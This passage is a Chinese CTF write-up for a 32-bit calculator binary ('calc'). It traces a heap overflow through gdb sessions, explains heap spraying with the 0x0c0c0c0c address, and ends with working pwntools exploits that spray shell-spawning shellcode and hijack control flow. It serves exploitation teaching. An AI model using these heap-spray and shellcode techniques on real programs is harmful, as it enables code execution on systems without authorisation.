所以保存数据结构体指针的0x84的堆空间的第一个位置是元素个数,然后是一个空位,从第三个位置才真正的开始保存结构体指针,故这个堆块最多只能保存31个结构体指针。但是我们可以输入的是255字节,如果我们用空格分开是完全可以输入超过31个数据元素的,故这里存在一个堆溢出:a1[*a1 + 1] = a2;
,根据main函数中的堆空间申请顺序,保存运算数结构体指针的堆空间紧接着就是保存运算符结构体指针的堆空间,在处理我们输入的函数sub_8048BC1
中第二个部分:
while ( !sub_804A8D7(dword_804D0AC) )
{
v26 = sub_804A88E(dword_804D0AC);
(*(void (**)(void))(v26 + 8))();
}
首先会判断dword_804D0AC
指向的运算符结构体指针的堆空间是否为空,如果非空则继续调用如下:
int __cdecl sub_804A88E(_DWORD *a1)
{
return a1[(*a1)-- + 1];
}
和运算数结构体指针的堆空间相同,第一个位置是个数的索引,如果我们输入超过32个数据元素将会溢出到这里(第32个溢出到下一个chunk的size,第33个溢出到个数的索引),导致数组越界。我们来看一下是否会触发崩溃呢?
➜ python -c "print '1 '*32 " | ./calc
> 1
> %
➜ python -c "print '1 '*33 " | ./calc
> [1] 36768 done python -c "print '1 '*33 " |
36769 segmentation fault (core dumped) ./calc
果然崩溃,调试一下:
➜ python -c "print '1 ' * 33"
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
➜ gdb -q ./calc
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 7.11.1 using Python engine 3.5
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./calc...(no debugging symbols found)...done.
gef➤ r
Starting program: /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
> 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
.
Program received signal SIGSEGV, Segmentation fault.
0x0804a89c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804e0a8 → 0x0804f058 → 0x0804f070 → 0x00000000
$ebx : 0x0
$ecx : 0x0
$edx : 0x0804f058 → 0x0804f070 → 0x00000000
$esp : 0xffffcd68 → 0x00000000
$ebp : 0xffffcd78 → 0xffffcdd8 → 0xffffcf08 → 0x00000000
$esi : 0xf7fb1000 → 0x001b1db0
$edi : 0xf7fb1000 → 0x001b1db0
$eip : 0x0804a89c → mov eax, DWORD PTR [eax+edx*4+0x4]
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd68│+0x0000: 0x00000000 ← $esp
0xffffcd6c│+0x0004: 0x00000000
0xffffcd70│+0x0008: 0x00000000
0xffffcd74│+0x000c: 0x00000000
0xffffcd78│+0x0010: 0xffffcdd8 → 0xffffcf08 → 0x00000000 ← $ebp
0xffffcd7c│+0x0014: 0x080493b6 → add esp, 0x10
0xffffcd80│+0x0018: 0x0804e0a8 → 0x0804f058 → 0x0804f070 → 0x00000000
0xffffcd84│+0x001c: 0x0804ac54 → and BYTE PTR [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804a892 in al, dx
0x804a893 adc BYTE PTR [ebx+0x108b0845], cl
0x804a899 mov eax, DWORD PTR [ebp+0x8]
→ 0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]
0x804a8a0 mov DWORD PTR [ebp-0x4], eax
0x804a8a3 mov eax, DWORD PTR [ebp+0x8]
0x804a8a6 mov eax, DWORD PTR [eax]
0x804a8a8 lea edx, [eax-0x1]
0x804a8ab mov eax, DWORD PTR [ebp+0x8]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "calc", stopped 0x804a89c in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804a89c → mov eax, DWORD PTR [eax+edx*4+0x4]
[#1] 0x80493b6 → add esp, 0x10
[#2] 0x8048bb9 → add esp, 0x10
[#3] 0xf7e17637 → __libc_start_main(main=0x80488cb, argc=0x1, argv=0xffffcfb4, init=0x804aba0, fini=0x804ac00, rtld_fini=0xf7fe8880 <_dl_fini>, stack_end=0xffffcfac)
[#4] 0x8048791 → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
崩溃到这句:
0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]
可以计算出应该去访问到0x2818a20c
这个内存了
>>> eax=0x0804e0a8
>>> edx=0x0804f058
>>> hex(eax+edx*4+0x4)
'0x2818a20c'
不过可以0x2818a20c
看到这个内存还没有映射,所以崩溃了
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804e000 0x0806f000 0x00000000 rwx [heap]
0xf7dfe000 0xf7dff000 0x00000000 rwx
0xf7dff000 0xf7faf000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb1000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fb1000 0xf7fb2000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7fb2000 0xf7fb5000 0x00000000 rwx
0xf7fd3000 0xf7fd4000 0x00000000 rwx
0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
分析控制流
可以看到如果在没有溢出的情景下,之后是会有一个函数指针的调用:
while ( !sub_804A8D7(dword_804D0AC) )
{
v26 = sub_804A88E(dword_804D0AC);
(*(void (**)(void))(v26 + 8))();
}
如果能控制v26
的值,则可能劫持控制流,具体如下:
v26
就是[eax+edx*4+0x4]
*(v26+8)
为v26+8
处的内存的4个字节(*(v26 + 8))()
为根据上面的4个字节寻址的内存地址进行函数调用
以刚才的溢出举例:
v26
就是*(0x2818a20c)
*(v26+8)
就是*(*(0x2818a20c)+8)
- 故只要修改
*(0x2818a20c)+8
处为目标地址即可完成控制流劫持
扩大堆空间
在以上的例子里,如果能让0x2818a20c
这个地址是可以访问的,则可以进行调试分析,有没有办法完成呢?我们知道堆空间如果不够用了,malloc背后的机制就会再去管操作系统要空间,通过brk或者mmap系统调用来扩展堆空间。所以如果我们能一直扩大堆空间,就有可能使得0x2818a20c
这个虚拟地址是被映射的。那么我们能不能一直扩大堆空间呢?在本题中我们发现,乘法函数sub_8049A0E
:
unsigned int sub_8049A0E()
{
...
else if ( !strcmp(*(v8 + 4), "str") && !strcmp(*(v7 + 4), "int") )
{
v6 = *(v7 + 8);
dest = calloc(*(v8 + 12) * v6 + 1, 1u);
v9 = dest;
if ( !dest )
{
puts("memory error.");
exit(-1);
}
while ( v6-- )
{
memcpy(dest, *(v8 + 8), *(v8 + 12));
dest += *(v8 + 12);
}
v3 = sub_804A764(byte_804AC65, v9);
sub_804A8B5(dword_804D0B4, v3);
}
...
}
该函数在处理字符串与整型的乘法时,会在堆上分配大小为:字符串长度乘以整型数值的堆空间,且不会free。故通过不断的输入一个较长的字符串与较大的数值的乘法即可不断扩大堆空间,不过在尝试之前我们先进行一下简单的估算,因为在Pwn题目中关心数量级一般是字节,不过其实要分配这么多的空间已经应该用M来计算了。仍然采用刚才的例子:
>>> 0x2818a20c-0x0804e000
538165772
>>> (0x2818a20c-0x0804e000)/(1024 * 1024)
513
估算下来是538165772字节,513M,看到这个数据量是很大的,我们来尝试一下,使用大约600M的数据来完成堆空间的扩大,并将断点打到sub_804A88E
函数越界取值时,然后触发堆溢出导致的数组越界:
from pwn import *
context(arch="i386", os="linux")
elf = ELF("./calc")
io = process(elf.path)
payload = '"a" * 100000'
for i in range(6000):
io.sendlineafter("> ",payload)
gdb.attach(io,'b * 0x0804A89C\nc')
io.recvuntil(">")
io.sendline("1 "*33)
io.interactive()
断下时调试器结果如下,可以看到当前edx值很大:
Breakpoint 1, 0x0804a89c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x086d40a8 → 0x5001d2d8 → 0x5001d2f0 → 0x00000000
$ebx : 0x0
$ecx : 0x0
$edx : 0x5001d2d8 → 0x5001d2f0 → 0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x804a892 in al, dx
0x804a893 adc BYTE PTR [ebx+0x108b0845], cl
0x804a899 mov eax, DWORD PTR [ebp+0x8]
→ 0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]
0x804a8a0 mov DWORD PTR [ebp-0x4], eax
另外看一下当前堆空间的布局:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/桌面/pwn/pwnhub/calc/calc
0x086d4000 0x5003d000 0x00000000 rwx [heap]
可以看到完全超过了我们刚才的预期,不过堆空间的确扩大了。
调试劫持EIP
不过当前的edx有些大,而且可见每次的edx其实就是在堆空间的最后,算出的eax+edx*4+0x4
肯定不会还落在0x2818a20c
这个附近,不过这里有一个巧合:
>>> eax = 0x086d40a8
>>> edx = 0x5001d2d8
>>> hex(eax+edx*4+0x4)
'0x148748c0c'
最后的结果是超出了32字节的,所以取值的时候会去0x48748c0c
取值,是不是这样呢?我们测试一下,我们在gdb里修改这里的内存,然后看eax的结果:
gef➤ x /4wx 0x48748c0c
0x48748c0c: 0x61616161 0x61616161 0x61616161 0x61616161
gef➤ set *0x48748c0c = 0x11223344
gef➤ x /4wx 0x48748c0c
0x48748c0c: 0x11223344 0x61616161 0x61616161 0x61616161
gef➤ ni
0x0804a8a0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x11223344 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
果然eax被控制了,eax就是之后这个函数的返回,也就是v26,至此我们已经通过调试控制了v26
为0x11223344
,通过刚才的分析我们只要修改v26 + 8
的内存地址,应该即可完成控制流劫持,我们继续尝试:
gef➤ x /4wx 0x1122334c
0x1122334c: 0x61616161 0x61616161 0x61616161 0x61616161
gef➤ set *0x1122334c = 0xdeadbeef
gef➤ x /4wx 0x1122334c
0x1122334c: 0xdeadbeef 0x61616161 0x61616161 0x61616161
gef➤ b * 0x080493C2
Breakpoint 2 at 0x80493c2
gef➤ c
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0xdeadbeef
─────────────────────────────────────────────────────────────── code:x86:32 ────
0x80493b5 add BYTE PTR [ebx+0x458910c4], al
0x80493bb lock mov eax, DWORD PTR [ebp-0x10]
0x80493bf mov eax, DWORD PTR [eax+0x8]
→ 0x80493c2 call eax
0x80493c4 mov eax, ds:0x804d0ac
gef➤ ni
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0xdeadbeef
$eip : 0xdeadbeef
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "calc", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────
不过就算没有这个巧合,还是能控制edx尽量较小,只要通过在开始时通过var语法定义一个变量,然后在最后触发溢出的时候使用最开始定义的变量即可把v26弄的小一点,可以自行实验。
以上是我们通过调试完成了控制流的劫持,其中我们需要知道堆上的一些地址,并且能精准的控制堆上的内存才可以完成劫持,本题中我是无法通过攻击执行刚才调试过程中的gdb指令的,那是否还能做到利用呢?堆喷思想在glibc pwn中的应用,这篇文章开篇的部分介绍了堆喷,提到了一个特殊的地址0c0c0c0c
。
为什么是0c0c0c0c
想象这样一种情景: *(0x0c0c0c0c) = 0x0c0c0c0c
,那么无论我劫持了一个几级指针,最终解引用都会回到0x0c0c0c0c
:
*ptr = 0x0c0c0c0c0
*(*ptr) = 0x0c0c0c0c0
*(*(*ptr)) = 0x0c0c0c0c0
*(*(*(*ptr))) = 0x0c0c0c0c0
...
那一定是0c0c0c0c
么?想象:*(0x58585858) = 0x58585858
,那么:
*ptr = 0x58585858
*(*ptr) = 0x58585858
*(*(*ptr)) = 0x58585858
*(*(*(*ptr))) = 0x58585858
...
故这其实是一种数学上的性质,这种循环是抗的住多级的解引用的。那为什么很多文章都提0x0c0c0c0c
呢?因为在x86指令集中0c 0c
还是or al,0x0c
指令,是对除了eax寄存器之外无任何影响的指令,类似于nop
指令,常在shellcode中作为滑板功能:
.text:080493C2 90 nop
.text:080493C3 0C 0C or al, 0Ch
.text:080493C5 0C 0C or al, 0Ch
显然如果我们用90909090
,这个空间地址太高了,在32位window系统中,这个虚拟地址已经属于内核空间了。故传统意义上的堆喷,狭义的来说就是:
- 如可以控制程序只申请不释放,或者在释放前能一次申请到覆盖到目标地址的堆空间,则能扩大堆空间的映射范围,并将大量的恶意数据填入其中
- 恶意数据的构成为:大量
0x0c0c0c0c+shellcode
,这样结果大概率满足*(0x0c0c0c0c) = 0x0c0c0c0c
- 当我们能劫持的控制流的数据无论为多少级指针,都可以将该指针劫持到
0x0c0c0c0c
- 伴随着指针的多级解引用,即使在每次解引用时有一些偏移比如
*(ptr + 4)
,结果仍然一致,因为0x0c0c0c0c
的附近都是0x0c0c0c0c
- 最后一层解引用完成,EIP跳到
0x0c0c0c0c
去执行,在关闭NX(DEP)
保护的情景下,执行流划过滑板指令,最后shellcode执行成功
以上这个过程可以从两个角度理解“喷”:
- 我们不断向堆上“喷”恶意数据,恶意数据会向喷漆涂鸦一样残留在堆上
- 堆在不断的扩大,在内存上看,堆就像一个从低地址冒出的喷泉,不断的往高地址涨(喷)
而且发现在堆喷中,我们并不需要泄露地址信息,换句话说我们是提前就知道把控制流劫持到哪的,是劫持到一个固定的虚拟地址0x0c0c0c0c
,这也是堆喷的一个性质,在无法泄露地址信息的时候,是可以工作的。另外,广义上的堆喷请看:TSCTF 2019 Pwn 薛定谔的堆块
故本题我们首先完成经典堆喷射,将0x0c0c0c0c
地址处的值覆盖成0x0c0c0c0c
,后面在跟上shellcode:
from pwn import *
context(arch="i386", os="linux")
elf = ELF("./calc")
io = process(elf.path)
payload = '"'+asm(shellcraft.sh()).rjust(200,"\x0c")+'" * 500'
for i in range(6000):
io.sendlineafter("> ",payload)
gdb.attach(io)
io.recvuntil(">")
io.interactive()
查看一下0x0c0c0c0c
的内存,可以看到(布局是有概率的,不过大概率是类似的):
gef➤ x /40wx 0x0c0c0c0c
0xc0c0c0c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c1c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c2c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c3c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c4c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c5c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c6c: 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c 0x0c0c0c0c
0xc0c0c7c: 0x0c0c0c0c 0x0c0c0c0c 0x2f68686a 0x68732f2f
0xc0c0c8c: 0x6e69622f 0x0168e389 0x81010101 0x69722434
0xc0c0c9c: 0xc9310101 0x59046a51 0x8951e101 0x6ad231e1
故我们劫持如下:
v26 = 0x0c0c0c0c
v26+8 = 0xc0c0c14
*(v26+8) = 0x0c0c0c0c
结合之前触发的堆溢出,即可完成最终利用
最终exp
from pwn import *
context(arch="i386", os="linux")
elf = ELF("./calc")
io = process(elf.path)
payload = '"'+asm(shellcraft.sh()).rjust(200,"\x0c")+'" * 500'
for i in range(6000):
io.sendlineafter("> ",payload)
io.sendline("1 "*33)
io.recvuntil(">")
io.interactive()
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK